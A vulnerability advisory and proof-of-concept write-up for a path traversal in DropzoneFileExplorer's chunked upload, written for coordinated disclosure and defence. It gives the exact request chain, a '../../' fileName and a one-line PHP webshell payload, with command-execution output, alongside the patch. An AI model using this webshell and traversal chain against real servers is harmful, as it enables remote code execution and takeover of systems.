
Proof-of-concept exploit chain for CVE-2026-104826, a path traversal in DropzoneFileExplorer's chunked upload handler that writes a PHP webshell for remote code execution.
The resumable (chunked) upload handler trusts the client-supplied fileName all
the way to fopen(). Feed it ../../ and you write outside your allowed folder,
out of the storage root, into the web root. The app serves PHP, so the file you
plant runs.
Project: KeepCoolCH/DropzoneFileExplorer
| CVE | CVE-2026-104826 |
| Advisory | GHSA-7626-89vx-5rpc |
| Class | CWE-22 (Path Traversal) -> CWE-434 -> RCE |
| Auth | authenticated by default, unauthenticated if AUTH_ENABLE=false |
| CVSS v4.0 | 8.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) |
| Affected | v1.1 (tested at commit 68858e0) |
| Fixed in | v1.2 |
| Credit | Kanarat Kaeothong (Axiom0x) |
Two functions matter. uploadInit takes fileName from the request body and keeps
it with nothing but a trim() (inc/functions.php, around L2080):
$fileName = trim((string)($body['fileName'] ?? 'file')); // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json
uploadFinalize later reads it back and assembles the output path
(inc/functions.php, L2192-2216):
$destDir = norm_rel((string)($meta['destDir'] ?? '')); // normalized
$relPath = norm_rel((string)($meta['relativePath'] ?? '')); // normalized
$fileName = (string)($meta['fileName'] ?? 'file'); // NOT normalized
$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs); // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
$finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
ensure_inside_allowed_roots($finalDirAbs); // dir is checked
}
$finalName = $fileName;
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName; // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b'); // arbitrary write
ensure_inside_allowed_roots() is fine on its own. It calls realpath() and makes
sure the path stays under the user's roots. The problem is what it gets handed.
$destBaseAbs and $finalDirAbs are both validated, but $finalAbs, the one that
actually contains the attacker's fileName, never is. fopen() gets the raw
.../shared/../../app/shell.php string and the OS collapses the .. for you.
Worth noting: every other write path in this codebase either runs the composed path
through ensure_inside_allowed_roots() or wraps the name in basename(). This one
does neither. It reads like a spot that was refactored and the final check got lost.
Stock v1.1, default config (AUTH_ENABLE=true). Actor is a normal user lowpriv
whose only folder is shared.
Log in as lowpriv (grab the CSRF token off the login page, then POST
auth_action=login).
Confirm the sandbox actually works. Uploading straight into someone else's folder is refused:
POST /index.php?action=uploadInit
{"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
-> {"ok":false,"error":"Access denied"}
Use the allowed folder, but poison fileName:
POST /index.php?action=uploadInit
{"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
-> {"ok":true,"uploadId":"..."}
Send the payload as one chunk:
POST /index.php?action=uploadChunk (multipart)
uploadId=<id>&index=0&total=1 + file field "chunk" = <?php system($_GET['c']); ?>
-> {"ok":true}
Finalize:
POST /index.php?action=uploadFinalize
{"uploadId":"<id>","policy":"overwrite"}
-> {"ok":true,"path":"app/pwned.php"}
The response reports app/pwned.php. The app itself is telling you it wrote
outside shared and outside the storage root.
Run it:
GET /pwned.php?c=id
-> uid=... (command output)
From my own run against a local instance:
GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...
GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64
See poc/exploit.py for the full chain (login, CSRF, poison,
chunk, finalize, execute).
Anyone allowed to upload can write a file wherever the PHP process can write,
no matter what the per-user folder rules say. A .php file in the web root is
remote code execution as the web user. With AUTH_ENABLE=false there is no login
step and it is straight unauthenticated RCE.
In uploadFinalize, cut fileName down to a bare name before opening it, and
re-check the composed path:
$finalName = basename($fileName); // kill any path component
$finalAbs = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs); // and verify the real target
basename() alone stops the traversal. Adding the ensure_inside_allowed_roots($finalAbs)
check is the belt-and-suspenders version, and it matches how the rest of the code
already guards writes. Same treatment needs to go on the rename policy branch
(around L2210) where $finalName gets recomputed. The maintainer landed this in v1.2.
Coordinated disclosure, fixed before this went public. PoC is deliberately aimed at a local test instance. Don't point it at anything you don't own.